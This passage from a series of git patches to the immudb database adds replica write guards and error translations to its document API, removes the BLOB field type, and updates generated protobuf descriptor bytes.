0x62, 0x06, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x33, + 0x69, 0x6f, 0x6e, 0x12, 0x90, 0x01, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x39, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x21, 0x22, 0x1c, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x63, 0x6c, 0x6f, 0x73, + 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0f, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, + 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x42, 0xb8, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, + 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, + 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, 0x83, 0x01, 0x12, 0x27, + 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, + 0x49, 0x20, 0x76, 0x32, 0x12, 0x11, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, + 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x35, 0x08, 0x02, + 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3a, + 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, 0x63, 0x2d, 0x6d, + 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, + 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, + 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( From 0135dd73e3a4e3e75b983eab20420698ec1fe4f2 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 2 May 2023 10:10:11 -0300 Subject: [PATCH 0470/1062] chore(embedded/document): minor var renaming Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 918c127936..5e74a178ce 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -514,12 +514,12 @@ func (e *Engine) DeleteIndex(ctx context.Context, collectionName string, fields } } - createIndexStmt := sql.NewDropIndexStmt(collectionName, fields) + dropIndexStmt := sql.NewDropIndexStmt(collectionName, fields) _, _, err = e.sqlEngine.ExecPreparedStmts( ctx, sqlTx, - []sql.SQLStmt{createIndexStmt}, + []sql.SQLStmt{dropIndexStmt}, nil, ) if err != nil { From fa1f5f978be7639b3f8cd057aff49742c5e51abe Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 2 May 2023 10:17:34 -0300 Subject: [PATCH 0471/1062] chore(embedded/document): translate table already exists error Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 29 +++++++++++++++++------------ 1 file changed, 17 insertions(+), 12 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 5e74a178ce..224aa5e85b 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -35,18 +35,19 @@ const ( ) var ( - ErrIllegalArguments = store.ErrIllegalArguments - ErrUnsupportedType = errors.New("unsupported type") - ErrCollectionDoesNotExist = errors.New("collection does not exist") - ErrMaxLengthExceeded = errors.New("max length exceeded") - ErrMultipleDocumentsFound = errors.New("multiple documents found") - ErrDocumentNotFound = errors.New("document not found") - ErrDocumentIDMismatch = errors.New("document id mismatch") - ErrNoMoreDocuments = errors.New("no more documents") - ErrFieldAlreadyExists = errors.New("field already exists") - ErrFieldDoesNotExist = errors.New("field does not exist") - ErrReservedFieldName = errors.New("reserved field name") - ErrLimitedIndexCreation = errors.New("index creation is only supported on empty collections") + ErrIllegalArguments = store.ErrIllegalArguments + ErrUnsupportedType = errors.New("unsupported type") + ErrCollectionAlreadyExists = errors.New("collection alrady exists") + ErrCollectionDoesNotExist = errors.New("collection does not exist") + ErrMaxLengthExceeded = errors.New("max length exceeded") + ErrMultipleDocumentsFound = errors.New("multiple documents found") + ErrDocumentNotFound = errors.New("document not found") + ErrDocumentIDMismatch = errors.New("document id mismatch") + ErrNoMoreDocuments = errors.New("no more documents") + ErrFieldAlreadyExists = errors.New("field already exists") + ErrFieldDoesNotExist = errors.New("field does not exist") + ErrReservedFieldName = errors.New("reserved field name") + ErrLimitedIndexCreation = errors.New("index creation is only supported on empty collections") ) func mayTranslateError(err error) error { @@ -54,6 +55,10 @@ func mayTranslateError(err error) error { return nil } + if errors.Is(err, sql.ErrTableAlreadyExists) { + return ErrCollectionAlreadyExists + } + if errors.Is(err, sql.ErrTableDoesNotExist) { return ErrCollectionDoesNotExist } From a7812bfe1652565378e97ec264895598f43e37f0 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 2 May 2023 10:39:17 -0300 Subject: [PATCH 0472/1062] fix(pkg/database): read-only document API for replicas Signed-off-by: Jeronimo Irazabal --- embedded/document/engine_test.go | 38 ++++++++++----------- pkg/database/document_database.go | 56 +++++++++++++++++++++++++++++++ 2 files changed, 73 insertions(+), 21 deletions(-) diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 7df7d1d7a0..ac37acea80 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -16,16 +16,19 @@ limitations under the License. package document import ( + "context" "testing" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" + "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/stretchr/testify/require" ) func makeEngine(t *testing.T) *Engine { st, err := store.Open(t.TempDir(), store.DefaultOptions()) require.NoError(t, err) + t.Cleanup(func() { err := st.Close() if !t.Failed() { @@ -41,20 +44,27 @@ func makeEngine(t *testing.T) *Engine { return engine } -/* func TestListCollections(t *testing.T) { engine := makeEngine(t) collections := []string{"mycollection1", "mycollection2", "mycollection3"} + for _, collectionName := range collections { err := engine.CreateCollection( context.Background(), collectionName, - map[string]*IndexOption{ - "number": {Type: sql.IntegerType}, - "name": {Type: sql.BLOBType}, - "pin": {Type: sql.IntegerType}, - "country": {Type: sql.VarcharType}, + "", + []*protomodel.Field{ + {Name: "number", Type: protomodel.FieldType_INTEGER}, + {Name: "name", Type: protomodel.FieldType_BLOB}, + {Name: "pin", Type: protomodel.FieldType_INTEGER}, + {Name: "country", Type: protomodel.FieldType_STRING}, + }, + []*protomodel.Index{ + {Fields: []string{"number"}}, + {Fields: []string{"name"}}, + {Fields: []string{"pin"}}, + {Fields: []string{"country"}}, }, ) require.NoError(t, err) @@ -63,23 +73,9 @@ func TestListCollections(t *testing.T) { collectionList, err := engine.ListCollections(context.Background()) require.NoError(t, err) require.Equal(t, len(collections), len(collectionList)) - - for _, indexes := range collectionList { - primaryKeyCount := 0 - indexKeyCount := 0 - for _, idx := range indexes { - // check if primary key - if idx.IsPrimary() { - primaryKeyCount += len(idx.Cols()) - } else { - indexKeyCount += len(idx.Cols()) - } - } - require.Equal(t, 1, primaryKeyCount) - require.Equal(t, 4, indexKeyCount) - } } +/* func TestCreateCollection(t *testing.T) { engine := makeEngine(t) diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 67e0241c18..d57309102a 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -57,6 +57,13 @@ type DocumentDatabase interface { // CreateCollection creates a new collection func (d *db) CreateCollection(ctx context.Context, req *protomodel.CollectionCreateRequest) (*protomodel.CollectionCreateResponse, error) { + d.mutex.RLock() + defer d.mutex.RUnlock() + + if d.isReplica() { + return nil, ErrIsReplica + } + if req == nil { return nil, ErrIllegalArguments } @@ -116,6 +123,13 @@ func (d *db) SearchDocuments(ctx context.Context, req *protomodel.DocumentSearch // UpdateCollection updates an existing collection func (d *db) UpdateCollection(ctx context.Context, req *protomodel.CollectionUpdateRequest) (*protomodel.CollectionUpdateResponse, error) { + d.mutex.RLock() + defer d.mutex.RUnlock() + + if d.isReplica() { + return nil, ErrIsReplica + } + if req == nil { return nil, ErrIllegalArguments } @@ -130,6 +144,13 @@ func (d *db) UpdateCollection(ctx context.Context, req *protomodel.CollectionUpd // DeleteCollection deletes a collection func (d *db) DeleteCollection(ctx context.Context, req *protomodel.CollectionDeleteRequest) (*protomodel.CollectionDeleteResponse, error) { + d.mutex.RLock() + defer d.mutex.RUnlock() + + if d.isReplica() { + return nil, ErrIsReplica + } + if req == nil { return nil, ErrIllegalArguments } @@ -144,6 +165,13 @@ func (d *db) DeleteCollection(ctx context.Context, req *protomodel.CollectionDel // CreateIndex creates an index for a collection func (d *db) CreateIndex(ctx context.Context, req *protomodel.IndexCreateRequest) (*protomodel.IndexCreateResponse, error) { + d.mutex.RLock() + defer d.mutex.RUnlock() + + if d.isReplica() { + return nil, ErrIsReplica + } + if req == nil { return nil, ErrIllegalArguments } @@ -158,6 +186,13 @@ func (d *db) CreateIndex(ctx context.Context, req *protomodel.IndexCreateRequest // DeleteIndex deletes an index from a collection func (d *db) DeleteIndex(ctx context.Context, req *protomodel.IndexDeleteRequest) (*protomodel.IndexDeleteResponse, error) { + d.mutex.RLock() + defer d.mutex.RUnlock() + + if d.isReplica() { + return nil, ErrIsReplica + } + if req == nil { return nil, ErrIllegalArguments } @@ -172,6 +207,13 @@ func (d *db) DeleteIndex(ctx context.Context, req *protomodel.IndexDeleteRequest // InsertDocument creates a new document func (d *db) InsertDocument(ctx context.Context, req *protomodel.DocumentInsertRequest) (*protomodel.DocumentInsertResponse, error) { + d.mutex.RLock() + defer d.mutex.RUnlock() + + if d.isReplica() { + return nil, ErrIsReplica + } + if req == nil { return nil, ErrIllegalArguments } @@ -189,6 +231,13 @@ func (d *db) InsertDocument(ctx context.Context, req *protomodel.DocumentInsertR // DocumentInsertMany inserts multiple documents func (d *db) DocumentInsertMany(ctx context.Context, req *protomodel.DocumentInsertManyRequest) (*protomodel.DocumentInsertManyResponse, error) { + d.mutex.RLock() + defer d.mutex.RUnlock() + + if d.isReplica() { + return nil, ErrIsReplica + } + if req == nil { return nil, ErrIllegalArguments } @@ -211,6 +260,13 @@ func (d *db) DocumentInsertMany(ctx context.Context, req *protomodel.DocumentIns // UpdateDocument updates a document func (d *db) UpdateDocument(ctx context.Context, req *protomodel.DocumentUpdateRequest) (*protomodel.DocumentUpdateResponse, error) { + d.mutex.RLock() + defer d.mutex.RUnlock() + + if d.isReplica() { + return nil, ErrIsReplica + } + if req == nil { return nil, ErrIllegalArguments } From 7a6196a03d20f8db433d23ac3ebc70f34b422f74 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 2 May 2023 11:09:37 -0300 Subject: [PATCH 0473/1062] chore(embedded/document): catch tx read conflict error Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 224aa5e85b..7e58deae8d 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -48,6 +48,7 @@ var ( ErrFieldDoesNotExist = errors.New("field does not exist") ErrReservedFieldName = errors.New("reserved field name") ErrLimitedIndexCreation = errors.New("index creation is only supported on empty collections") + ErrConflict = errors.New("conflict due to uniqueness contraint violation or read document was updated by another transaction") ) func mayTranslateError(err error) error { @@ -79,6 +80,10 @@ func mayTranslateError(err error) error { return ErrLimitedIndexCreation } + if errors.Is(err, store.ErrTxReadConflict) { + return ErrConflict + } + return err } From 70b5bf14a69040091fc77bc13f52f67c8591ab39 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 2 May 2023 11:12:43 -0300 Subject: [PATCH 0474/1062] chore(embedded/document): catch key alredy exists error Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 7e58deae8d..2ed1de99e3 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -84,6 +84,10 @@ func mayTranslateError(err error) error { return ErrConflict } + if errors.Is(err, store.ErrKeyAlreadyExists) { + return ErrConflict + } + return err } From 114d9c1ecde5b14f9a5e3dde8540609e3c5d3b2f Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 2 May 2023 11:18:25 -0300 Subject: [PATCH 0475/1062] fix(embedded/document): support nil docs Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 2ed1de99e3..73ffcbd759 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -592,7 +592,9 @@ func (e *Engine) upsertDocuments(ctx context.Context, sqlTx *sql.SQLTx, collecti for i, doc := range docs { if doc == nil { - doc = &structpb.Struct{} + doc = &structpb.Struct{ + Fields: make(map[string]*structpb.Value), + } } _, blobFieldProvisioned := doc.Fields[DocumentBLOBField] From 32a205015cf99b409798996ca960902e66138c53 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 2 May 2023 11:54:48 -0300 Subject: [PATCH 0476/1062] chore(embedded/document): blob type not yet supported Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 4 - embedded/document/engine_test.go | 2 +- pkg/api/httpclient/client.go | 1 - pkg/api/openapi/apidocs.swagger.json | 3 +- pkg/api/proto/documents.proto | 1 - pkg/api/protomodel/docs.md | 1 - pkg/api/protomodel/documents.pb.go | 246 +++++++++++++-------------- 7 files changed, 123 insertions(+), 135 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 73ffcbd759..e3e3b7881b 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -137,8 +137,6 @@ var ( return sql.VarcharType, nil case protomodel.FieldType_INTEGER: return sql.IntegerType, nil - case protomodel.FieldType_BLOB: - return sql.BLOBType, nil case protomodel.FieldType_DOUBLE: return sql.Float64Type, nil case protomodel.FieldType_BOOLEAN: @@ -369,8 +367,6 @@ func collectionFromTable(table *sql.Table) *protomodel.Collection { colType = protomodel.FieldType_INTEGER case sql.Float64Type: colType = protomodel.FieldType_DOUBLE - case sql.BLOBType: - colType = protomodel.FieldType_BLOB } } diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index ac37acea80..26ea0b8d64 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -56,7 +56,7 @@ func TestListCollections(t *testing.T) { "", []*protomodel.Field{ {Name: "number", Type: protomodel.FieldType_INTEGER}, - {Name: "name", Type: protomodel.FieldType_BLOB}, + {Name: "name", Type: protomodel.FieldType_STRING}, {Name: "pin", Type: protomodel.FieldType_INTEGER}, {Name: "country", Type: protomodel.FieldType_STRING}, }, diff --git a/pkg/api/httpclient/client.go b/pkg/api/httpclient/client.go index d00573e146..ed2e275397 100644 --- a/pkg/api/httpclient/client.go +++ b/pkg/api/httpclient/client.go @@ -33,7 +33,6 @@ const ( // Defines values for ModelFieldType. const ( - BLOB ModelFieldType = "BLOB" BOOLEAN ModelFieldType = "BOOLEAN" DOUBLE ModelFieldType = "DOUBLE" INTEGER ModelFieldType = "INTEGER" diff --git a/pkg/api/openapi/apidocs.swagger.json b/pkg/api/openapi/apidocs.swagger.json index 3b76c0d087..5640388c93 100644 --- a/pkg/api/openapi/apidocs.swagger.json +++ b/pkg/api/openapi/apidocs.swagger.json @@ -911,8 +911,7 @@ "STRING", "BOOLEAN", "INTEGER", - "DOUBLE", - "BLOB" + "DOUBLE" ], "default": "STRING" }, diff --git a/pkg/api/proto/documents.proto b/pkg/api/proto/documents.proto index 14c3cdc355..a56b063221 100644 --- a/pkg/api/proto/documents.proto +++ b/pkg/api/proto/documents.proto @@ -67,7 +67,6 @@ enum FieldType { BOOLEAN = 1; INTEGER = 2; DOUBLE = 3; - BLOB = 4; } message Index { diff --git a/pkg/api/protomodel/docs.md b/pkg/api/protomodel/docs.md index 5d23c263d2..29b42076f2 100644 --- a/pkg/api/protomodel/docs.md +++ b/pkg/api/protomodel/docs.md @@ -703,7 +703,6 @@ | BOOLEAN | 1 | | | INTEGER | 2 | | | DOUBLE | 3 | | -| BLOB | 4 | | diff --git a/pkg/api/protomodel/documents.pb.go b/pkg/api/protomodel/documents.pb.go index 903bdc1648..c53bb31b18 100644 --- a/pkg/api/protomodel/documents.pb.go +++ b/pkg/api/protomodel/documents.pb.go @@ -46,7 +46,6 @@ const ( FieldType_BOOLEAN FieldType = 1 FieldType_INTEGER FieldType = 2 FieldType_DOUBLE FieldType = 3 - FieldType_BLOB FieldType = 4 ) // Enum value maps for FieldType. @@ -56,14 +55,12 @@ var ( 1: "BOOLEAN", 2: "INTEGER", 3: "DOUBLE", - 4: "BLOB", } FieldType_value = map[string]int32{ "STRING": 0, "BOOLEAN": 1, "INTEGER": 2, "DOUBLE": 3, - "BLOB": 4, } ) @@ -2197,143 +2194,142 @@ var file_documents_proto_rawDesc = []byte{ 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, - 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x2a, 0x47, + 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x2a, 0x3d, 0x0a, 0x09, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x42, 0x4f, 0x4f, 0x4c, 0x45, 0x41, 0x4e, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, - 0x02, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x08, 0x0a, - 0x04, 0x42, 0x4c, 0x4f, 0x42, 0x10, 0x04, 0x2a, 0x4e, 0x0a, 0x12, 0x43, 0x6f, 0x6d, 0x70, 0x61, - 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, - 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, - 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, - 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, - 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x32, 0x97, 0x0e, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x91, 0x01, 0x0a, 0x10, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, - 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, - 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, - 0x82, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, - 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, - 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, - 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, - 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x89, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, - 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, - 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, - 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x12, 0x91, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x02, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x03, 0x2a, 0x4e, 0x0a, + 0x12, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, + 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, + 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, + 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, + 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x32, 0x97, 0x0e, + 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, + 0x65, 0x12, 0x91, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 